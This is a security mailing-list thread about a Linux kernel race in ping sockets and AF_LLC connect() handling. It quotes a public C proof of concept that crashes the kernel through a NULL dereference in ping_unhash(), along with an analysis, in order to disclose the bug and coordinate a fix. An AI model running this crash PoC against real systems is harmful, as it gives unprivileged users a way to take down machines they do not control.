Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race

From: Andrey Konovalov
Date: Fri Mar 24 2017 - 16:43:43 EST


On Fri, Mar 24, 2017 at 9:27 PM, Solar Designer <solar@xxxxxxxxxxxx> wrote:
> Hi,
>
> I haven't fully investigated this issue, and the Subject is provisional
> (but will probably get stuck). I am not yet sure which kernel
> subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and
> there might be other ways to trigger the issue.

Reproduced the crash on current upstream
(ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).

Adding kernel maintainers.

>
> Just off Twitter:
>
> https://twitter.com/danieljiang0415/status/845116665184497664
>
> daniel_jiang
> @danieljiang0415
> google won't fix kernel crash bug, I release the poc now.
> https://github.com/danieljiang0415/android_kernel_crash_poc
>
> And the PoC is:
>
> ---
> #include <stdio.h>
> #include <sys/socket.h>
> #include <arpa/inet.h>
> #include <stdlib.h>
> static int sockfd = 0;
> static struct sockaddr_in addr = {0};
>
> void fuzz(void * param){
> while(1){
> addr.sin_family = 0;//rand()%42;
> printf("sin_family1 = %08lx\n", addr.sin_family);
> connect(sockfd, (struct sockaddr *)&addr, 16);
> }
> }
> int main(int argc, char **argv)
> {
> sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
> int thrd;
> pthread_create(&thrd, NULL, fuzz, NULL);
> while(1){
> addr.sin_family = 0x1a;//rand()%42;
> addr.sin_port = 0;
> addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
> connect(sockfd, (struct sockaddr *)&addr, 16);
> addr.sin_family = 0;
> }
> return 0;
> }
> ---
>
> I suppose the focus on Android is because it makes ping sockets
> available to users by default, but the bug isn't Android-specific.
>
> By granting ping sockets to a user, I am able to crash a RHEL7'ish
> system with the above PoC quickly. The crash (at least in my two tests)
> is a NULL pointer dereference in net/ipv4/ping.c: ping_v4_unhash().
> In newer upstream code, e.g. Linux 4.10.5, the function is renamed to
> ping_unhash() since it's shared with IPv6, but is otherwise similar.
>
> The two address families used by the PoC above are AF_UNSPEC and AF_LLC.
> For the latter, net/llc/af_llc.c: llc_ui_connect() checks for AF_LLC and
> then proceeds to overwrite parts of the "struct sockaddr".
> llc_ui_bind() looks similar, so the issue might also be triggerable via
> bind(). These overwrites might be directly related to the crash, or it
> might be something further. At first glance, these two functions look
> similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to
> trigger the issue on latest upstream as well.
>
> At this point, I think I'll leave further investigation to someone more
> up-to-date on these interfaces and conventions. I am merely conveying
> the message, which at this point I understand only partially.
>
> Alexander